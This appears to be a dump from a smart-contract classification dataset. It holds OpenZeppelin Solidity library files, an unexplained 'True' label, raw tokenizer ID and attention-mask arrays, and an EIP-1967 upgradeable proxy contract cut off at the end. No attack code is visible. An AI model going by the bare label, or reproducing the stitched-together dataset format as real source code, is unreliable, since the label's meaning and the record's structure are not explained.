// OpenZeppelin Contracts v4.4.1 (utils/introspection/ERC165.sol)
pragma solidity ^0.8.0;
import "./IERC165.sol";
/**
* @dev Implementation of the {IERC165} interface.
*
* Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check
* for the additional interface id that will be supported. For example:
*
* ```solidity
* function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
* return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId);
* }
* ```
*
* Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation.
*/
abstract contract ERC165 is IERC165 {
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
return interfaceId == type(IERC165).interfaceId;
}
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (utils/Strings.sol)
pragma solidity ^0.8.0;
/**
* @dev String operations.
*/
library Strings {
bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef";
/**
* @dev Converts a `uint256` to its ASCII `string` decimal representation.
*/
function toString(uint256 value) internal pure returns (string memory) {
// Inspired by OraclizeAPI's implementation - MIT licence
// https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol
if (value == 0) {
return "0";
}
uint256 temp = value;
uint256 digits;
while (temp != 0) {
digits++;
temp /= 10;
}
bytes memory buffer = new bytes(digits);
while (value != 0) {
digits -= 1;
buffer[digits] = bytes1(uint8(48 + uint256(value % 10)));
value /= 10;
}
return string(buffer);
}
/**
* @dev Converts a `uint256` to its ASCII `string` hexadecimal representation.
*/
function toHexString(uint256 value) internal pure returns (string memory) {
if (value == 0) {
return "0x00";
}
uint256 temp = value;
uint256 length = 0;
while (temp != 0) {
length++;
temp >>= 8;
}
return toHexString(value, length);
}
/**
* @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length.
*/
function toHexString(uint256 value, uint256 length) internal pure returns (string memory) {
bytes memory buffer = new bytes(2 * length + 2);
buffer[0] = "0";
buffer[1] = "x";
for (uint256 i = 2 * length + 1; i > 1; --i) {
buffer[i] = _HEX_SYMBOLS[value & 0xf];
value >>= 4;
}
require(value == 0, "Strings: hex length insufficient");
return string(buffer);
}
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (utils/Context.sol)
pragma solidity ^0.8.0;
/**
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts (last updated v4.5.0) (utils/Address.sol)
pragma solidity ^0.8.1;
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*
* [IMPORTANT]
* ====
* You shouldn't rely on `isContract` to protect against flash loan attacks!
*
* Preventing calls from contracts is highly discouraged. It breaks composability, breaks support for smart wallets
* like Gnosis Safe, and does not provide security since it can be circumvented by calling from a contract
* constructor.
* ====
*/
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize/address.code.length, which returns 0
// for contracts in construction, since the code is only stored at the end
// of the constructor execution.
return account.code.length > 0;
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
(bool success, ) = recipient.call{value: amount}("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain `call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value
) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value,
string memory errorMessage
) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
(bool success, bytes memory returndata) = target.call{value: value}(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(
address target,
bytes memory data,
string memory errorMessage
) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
(bool success, bytes memory returndata) = target.staticcall(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
(bool success, bytes memory returndata) = target.delegatecall(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the
* revert reason using the provided one.
*
* _Available since v4.3._
*/
function verifyCallResult(
bool success,
bytes memory returndata,
string memory errorMessage
) internal pure returns (bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (token/ERC721/extensions/IERC721Metadata.sol)
pragma solidity ^0.8.0;
import "../IERC721.sol";
/**
* @title ERC-721 Non-Fungible Token Standard, optional metadata extension
* @dev See https://eips.ethereum.org/EIPS/eip-721
*/
interface IERC721Metadata is IERC721 {
/**
* @dev Returns the token collection name.
*/
function name() external view returns (string memory);
/**
* @dev Returns the token collection symbol.
*/
function symbol() external view returns (string memory);
/**
* @dev Returns the Uniform Resource Identifier (URI) for `tokenId` token.
*/
function tokenURI(uint256 tokenId) external view returns (string memory);
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts (last updated v4.5.0) (token/ERC721/extensions/IERC721Enumerable.sol)
pragma solidity ^0.8.0;
import "../IERC721.sol";
/**
* @title ERC-721 Non-Fungible Token Standard, optional enumeration extension
* @dev See https://eips.ethereum.org/EIPS/eip-721
*/
interface IERC721Enumerable is IERC721 {
/**
* @dev Returns the total amount of tokens stored by the contract.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns a token ID owned by `owner` at a given `index` of its token list.
* Use along with {balanceOf} to enumerate all of ``owner``'s tokens.
*/
function tokenOfOwnerByIndex(address owner, uint256 index) external view returns (uint256);
/**
* @dev Returns a token ID at a given `index` of all the tokens stored by the contract.
* Use along with {totalSupply} to enumerate all tokens.
*/
function tokenByIndex(uint256 index) external view returns (uint256);
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (token/ERC721/IERC721Receiver.sol)
pragma solidity ^0.8.0;
/**
* @title ERC721 token receiver interface
* @dev Interface for any contract that wants to support safeTransfers
* from ERC721 asset contracts.
*/
interface IERC721Receiver {
/**
* @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom}
* by `operator` from `from`, this function is called.
*
* It must return its Solidity selector to confirm the token transfer.
* If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted.
*
* The selector can be obtained in Solidity with `IERC721.onERC721Received.selector`.
*/
function onERC721Received(
address operator,
address from,
uint256 tokenId,
bytes calldata data
) external returns (bytes4);
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (token/ERC721/IERC721.sol)
pragma solidity ^0.8.0;
import "../../utils/introspection/IERC165.sol";
/**
* @dev Required interface of an ERC721 compliant contract.
*/
interface IERC721 is IERC165 {
/**
* @dev Emitted when `tokenId` token is transferred from `from` to `to`.
*/
event Transfer(address indexed from, address indexed to, uint256 indexed tokenId);
/**
* @dev Emitted when `owner` enables `approved` to manage the `tokenId` token.
*/
event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId);
/**
* @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets.
*/
event ApprovalForAll(address indexed owner, address indexed operator, bool approved);
/**
* @dev Returns the number of tokens in ``owner``'s account.
*/
function balanceOf(address owner) external view returns (uint256 balance);
/**
* @dev Returns the owner of the `tokenId` token.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function ownerOf(uint256 tokenId) external view returns (address owner);
/**
* @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients
* are aware of the ERC721 protocol to prevent tokens from being forever locked.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId
) external;
/**
* @dev Transfers `tokenId` token from `from` to `to`.
*
* WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must be owned by `from`.
* - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.
*
* Emits a {Transfer} event.
*/
function transferFrom(
address from,
address to,
uint256 tokenId
) external;
/**
* @dev Gives permission to `to` to transfer `tokenId` token to another account.
* The approval is cleared when the token is transferred.
*
* Only a single account can be approved at a time, so approving the zero address clears previous approvals.
*
* Requirements:
*
* - The caller must own the token or be an approved operator.
* - `tokenId` must exist.
*
* Emits an {Approval} event.
*/
function approve(address to, uint256 tokenId) external;
/**
* @dev Returns the account approved for `tokenId` token.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function getApproved(uint256 tokenId) external view returns (address operator);
/**
* @dev Approve or remove `operator` as an operator for the caller.
* Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller.
*
* Requirements:
*
* - The `operator` cannot be the caller.
*
* Emits an {ApprovalForAll} event.
*/
function setApprovalForAll(address operator, bool _approved) external;
/**
* @dev Returns if the `operator` is allowed to manage all of the assets of `owner`.
*
* See {setApprovalForAll}
*/
function isApprovedForAll(address owner, address operator) external view returns (bool);
/**
* @dev Safely transfers `tokenId` token from `from` to `to`.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId,
bytes calldata data
) external;
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (access/Ownable.sol)
pragma solidity ^0.8.0;
import "../utils/Context.sol";
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor() {
_transferOwnership(_msgSender());
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view virtual returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
_transferOwnership(address(0));
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
_transferOwnership(newOwner);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Internal function without access restriction.
*/
function _transferOwnership(address newOwner) internal virtual {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
} | True | [
101,
1013,
1013,
23772,
2595,
1011,
6105,
1011,
8909,
4765,
18095,
1024,
10210,
10975,
8490,
2863,
5024,
3012,
1034,
1014,
1012,
1022,
1012,
2260,
1025,
12324,
1005,
1030,
2330,
4371,
27877,
2378,
1013,
8311,
1013,
3229,
1013,
2219,
3085,
1012,
14017,
1005,
1025,
12324,
1005,
1012,
1013,
9413,
2278,
2581,
17465,
7875,
14287,
3085,
1012,
14017,
1005,
1025,
12324,
1005,
1012,
1013,
2918,
21084,
1012,
14017,
1005,
1025,
12324,
1000,
1012,
1013,
10047,
24932,
4818,
8663,
6494,
6593,
1012,
14017,
1000,
1025,
3206,
3857,
16506,
22231,
7834,
2003,
2219,
3085,
1010,
9413,
2278,
2581,
17465,
2050,
1010,
9413,
2278,
2581,
17465,
7875,
14287,
3085,
1063,
2478,
7817,
2005,
21318,
3372,
17788,
2575,
1025,
21318,
3372,
17788,
2575,
14751,
23393,
2063,
1025,
5164,
2797,
3746,
18715,
2368,
9496,
1025,
22017,
2140,
2797,
4310,
1025,
22017,
2140,
2270,
5096,
14268,
15277,
1025,
4769,
4475,
8663,
6494,
6593,
1025,
1013,
1013,
12375,
2005,
2828,
1997,
2188,
12375,
1006,
21318,
3372,
17788,
2575,
1027,
1028,
5164,
1007,
2797,
2806,
3762,
23393,
7416,
2094,
1025,
9570,
2953,
1006,
1007,
9413,
2278,
2581,
17465,
2050,
1006,
1000,
3857,
16506,
2015,
5014,
1000,
1010,
1000,
2188,
1000,
1007,
1063,
1065,
1013,
1013,
1013,
1013,
4972,
2005,
9398,
5844,
1013,
1013,
1013,
1013,
6900,
2038,
19204,
8909,
2015,
5764,
2575,
1011,
5585,
2620,
3853,
6900,
10175,
8524,
3064,
1006,
21318,
3372,
17788,
2575,
6900,
3593,
1007,
4722,
3193,
5651,
1006,
22017,
2140,
1007,
1063,
10047,
24932,
4818,
8663,
6494,
6593,
10047,
24932,
4818,
1027,
10047,
24932,
4818,
8663,
6494,
6593,
1006,
4475,
8663,
6494,
6593,
1007,
1025,
2709,
1006,
1006,
10047,
24932,
4818,
1012,
3954,
11253,
1006,
6900,
3593,
1007,
1027,
1027,
1035,
5796,
5620,
10497,
2121,
1006,
1007,
1007,
1004,
1004,
1006,
6900,
3593,
1028,
5764,
2629,
1007,
1004,
1004,
1006,
6900,
3593,
1026,
25897,
1007,
1007,
1025,
1065,
1013,
1013,
25238,
2038,
19204,
8909,
2015,
29327,
1011,
5764,
2549,
3853,
25238,
10175,
8524,
3064,
1006,
21318,
3372,
17788,
2575,
25238,
3593,
1007,
4722,
3193,
5651,
1006,
22017,
2140,
1007,
1063,
10047,
24932,
4818,
8663,
6494,
6593,
10047,
24932,
4818,
1027,
10047,
24932,
4818,
8663,
6494,
6593,
1006,
4475,
8663,
6494,
6593,
1007,
1025,
2709,
1006,
1006,
10047,
24932,
4818,
1012,
3954,
11253,
1006,
25238,
3593,
1007,
1027,
1027,
1035,
5796,
5620,
10497,
2121,
1006,
1007,
1007,
1004,
1004,
1006,
25238,
3593,
1028,
27533,
1007,
1004,
1004,
1006,
25238,
3593,
1026,
5764,
2629,
1007,
1007,
1025,
1065,
1013,
1013,
2806,
4475,
2031,
19204,
8909,
2015,
1015,
1011,
27533,
1010,
2030,
5764,
2629,
1010,
2030,
25897,
3853,
2806,
10175,
8524,
3064,
1006,
21318,
3372,
17788,
2575,
2806,
3593,
1007,
4722,
3193,
5651,
1006,
22017,
2140,
1007,
1063,
10047,
24932,
4818,
8663,
6494,
6593,
10047,
24932,
4818,
1027,
10047,
24932,
4818,
8663,
6494,
6593,
1006,
4475,
8663,
6494,
6593,
1007,
1025,
2709,
1006,
1006,
10047,
24932,
4818,
1012,
3954,
11253,
1006,
2806,
3593,
1007,
1027,
1027,
1035,
5796,
5620,
10497,
2121,
1006,
1007,
1007,
1004,
1004,
1006,
1006,
2806,
3593,
1026,
29327,
1007,
1064,
1064,
1006,
2806,
3593,
1027,
1027,
5764,
2629,
1007,
1064,
1064,
1006,
2806,
3593,
1027,
1027,
102
]
| [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1
]
|
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
pragma experimental ABIEncoderV2;
/**
* @title Proxy
* @dev Implements delegation of calls to other contracts, with proper
* forwarding of return values and bubbling of failures.
* It defines a fallback function that delegates all calls to the address
* returned by the abstract _implementation() internal function.
*/
abstract contract Proxy {
/**
* @dev Fallback function.
* Implemented entirely in `_fallback`.
*/
fallback () payable external {
_fallback();
}
receive () payable external {
_fallback();
}
/**
* @return The Address of the implementation.
*/
function _implementation() virtual internal view returns (address);
/**
* @dev Delegates execution to an implementation contract.
* This is a low level function that doesn't return to its internal call site.
* It will return to the external caller whatever the implementation returns.
* @param implementation Address to delegate.
*/
function _delegate(address implementation) internal {
assembly {
// Copy msg.data. We take full control of memory in this inline assembly
// block because it will not return to Solidity code. We overwrite the
// Solidity scratch pad at memory position 0.
calldatacopy(0, 0, calldatasize())
// Call the implementation.
// out and outsize are 0 because we don't know the size yet.
let result := delegatecall(gas(), implementation, 0, calldatasize(), 0, 0)
// Copy the returned data.
returndatacopy(0, 0, returndatasize())
switch result
// delegatecall returns 0 on error.
case 0 { revert(0, returndatasize()) }
default { return(0, returndatasize()) }
}
}
/**
* @dev Function that is run as the first thing in the fallback function.
* Can be redefined in derived contracts to add functionality.
* Redefinitions must call super._willFallback().
*/
function _willFallback() virtual internal {
}
/**
* @dev fallback implementation.
* Extracted to enable manual triggering.
*/
function _fallback() internal {
if(OpenZeppelinUpgradesAddress.isContract(msg.sender) && msg.data.length == 0 && gasleft() <= 2300) // for receive ETH only from other contract
return;
_willFallback();
_delegate(_implementation());
}
}
/**
* @title BaseUpgradeabilityProxy
* @dev This contract implements a proxy that allows to change the
* implementation address to which it will delegate.
* Such a change is called an implementation upgrade.
*/
abstract contract BaseUpgradeabilityProxy is Proxy {
/**
* @dev Emitted when the implementation is upgraded.
* @param implementation Address of the new implementation.
*/
event Upgraded(address indexed implementation);
/**
* @dev Storage slot with the address of the current implementation.
* This is the keccak-256 hash of "eip1967.proxy.implementation" subtracted by 1, and is
* validated in the constructor.
*/
bytes32 internal constant IMPLEMENTATION_SLOT = 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc;
/**
* @dev Returns the current implementation.
* @return impl Address of the current implementation
*/
function _implementation() override internal view returns (address impl) {
bytes32 slot = IMPLEMENTATION_SLOT;
assembly {
impl := sload(slot)
}
}
/**
* @dev Upgrades the proxy to a new implementation.
* @param newImplementation Address of the new implementation.
*/
function _upgradeTo(address newImplementation) internal {
_setImplementation(newImplementation);
emit Upgraded(newImplementation);
}
/**
* @dev Sets the implementation address of the proxy.
* @param newImplementation Address of the new implementation.
*/
function _setImplementation(address newImplementation) internal {
require(OpenZeppelinUpgradesAddress.isContract(newImplementation), "Cannot set a proxy implementation to a non-contract address");
bytes32 slot = IMPLEMENTATION_SLOT;
assembly {
sstore(slot, newImplementation)
}
}
}
/**
* @title BaseAdminUpgradeabilityProxy
* @dev This contract combines an upgradeability proxy with an authorization
* mechanism for administrative tasks.
* All external functions in this contract must be guarded by the
* `ifAdmin` modifier. See ethereum/solidity#3864 for a Solidity
* feature proposal that would enable this to be done automatically.
*/
contract BaseAdminUpgradeabilityProxy is BaseUpgradeabilityProxy {
/**
* @dev Emitted when the administration has been transferred.
* @param previousAdmin Address of the previous admin.
* @param newAdmin Address of the new admin.
*/
event AdminChanged(address previousAdmin, address newAdmin);
/**
* @dev Storage slot with the admin of the contract.
* This is the keccak-256 hash of "eip1967.proxy.admin" subtracted by 1, and is
* validated in the constructor.
*/
bytes32 internal constant ADMIN_SLOT = 0xb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d6103;
/**
* @dev Modifier to check whether the `msg.sender` is the admin.
* If it is, it will run the function. Otherwise, it will delegate the call
* to the implementation.
*/
modifier ifAdmin() {
if (msg.sender == _admin()) {
_;
} else {
_fallback();
}
}
/**
* @return The address of the proxy admin.
*/
function admin() external ifAdmin returns (address) {
return _admin();
}
/**
* @return The address of the implementation.
*/
function implementation() external ifAdmin returns (address) {
return _implementation();
}
/**
* @dev Changes the admin of the proxy.
* Only the current admin can call this function.
* @param newAdmin Address to transfer proxy administration to.
*/
function changeAdmin(address newAdmin) external ifAdmin {
require(newAdmin != address(0), "Cannot change the admin of a proxy to the zero address");
emit AdminChanged(_admin(), newAdmin);
_setAdmin(newAdmin);
}
/**
* @dev Upgrade the backing implementation of the proxy.
* Only the admin can call this function.
* @param newImplementation Address of the new implementation.
*/
function upgradeTo(address newImplementation) external ifAdmin {
_upgradeTo(newImplementation);
}
/**
* @dev Upgrade the backing implementation of the proxy and call a function
* on the new implementation.
* This is useful to initialize the proxied contract.
* @param newImplementation Address of the new implementation.
* @param data Data to send as msg.data in the low level call.
* It should include the signature and the parameters of the function to be called, as described in
* https://solidity.readthedocs.io/en/v0.4.24/abi-spec.html#function-selector-and-argument-encoding.
*/
function upgradeToAndCall(address newImplementation, bytes calldata data) payable external ifAdmin {
_upgradeTo(newImplementation);
(bool success,) = newImplementation.delegatecall(data);
require(success);
}
/**
* @return adm The admin slot.
*/
function _admin() internal view returns (address adm) {
bytes32 slot = ADMIN_SLOT;
assembly {
adm := sload(slot)
}
}
/**
* @dev Sets the address of the proxy admin.
* @param newAdmin Address of the new proxy admin.
*/
function _setAdmin(address newAdmin) internal {
bytes32 slot = ADMIN_SLOT;
assembly {
sstore(slot, newAdmin)
}
}
/**
* @dev Only fall back when the sender is not the admin.
*/
function _willFallback() virtual override internal {
require(msg.sender != _admin(), "Cannot call fallback function from the proxy admin");
//super._willFallback();
}
}
interface IAdminUpgradeabilityProxyView {
function admin() external view returns (address);
function implementation() external view returns (address);
}
/**
* @title UpgradeabilityProxy
* @dev Extends BaseUpgradeabilityProxy with a constructor for initializing
* implementation and init data.
*/
abstract contract UpgradeabilityProxy is BaseUpgradeabilityProxy {
/**
* @dev Contract constructor.
* @param _logic Address of the initial implementation.
* @param _data Data to send as msg.data to the implementation to initialize the proxied contract.
* It should include the signature and the parameters of the function to be called, as described in
* https://solidity.readthedocs.io/en/v0.4.24/abi-spec.html#function-selector-and-argument-encoding.
* This parameter is optional, if no data is given the initialization call to proxied contract will be skipped.
*/
constructor(address _logic, bytes memory _data) public payable {
assert(IMPLEMENTATION_SLOT == bytes32(uint256(keccak256('eip1967.proxy.implementation')) - 1));
_setImplementation(_logic);
if(_data.length > 0) {
(bool success,) = _logic.delegatecall(_data);
require(success);
}
}
//function _willFallback() virtual override internal {
//super._willFallback();
//}
}
/**
* @title AdminUpgradeabilityProxy
* @dev Extends from BaseAdminUpgradeabilityProxy with a constructor for
* initializing the implementation, admin, and init data.
*/
contract AdminUpgradeabilityProxy is BaseAdminUpgradeabilityProxy, UpgradeabilityProxy {
/**
* Contract constructor.
* @param _logic address of the initial implementation.
* @param _admin Address of the proxy administrator.
* @param _data Data to send as msg.data to the implementation to initialize the proxied contract.
* It should include the signature and the parameters of the function to be called, as described in
* https://solidity.readthedocs.io/en/v0.4.24/abi-spec.html#function-selector-and-argument-encoding.
* This parameter is optional, if no data is given the initialization call to proxied contract will be skipped.
*/
constructor(address _admin, address _logic, bytes memory _data) UpgradeabilityProxy(_logic, _data) public payable {
assert(ADMIN_SLOT == bytes32(uint256(keccak256('eip1967.proxy.admin')) - 1));
_setAdmin(_admin);
}
function _willFallback() override(Proxy, BaseAdminUpgradeabilityProxy) internal {
super._willFallback();
}
}
/**
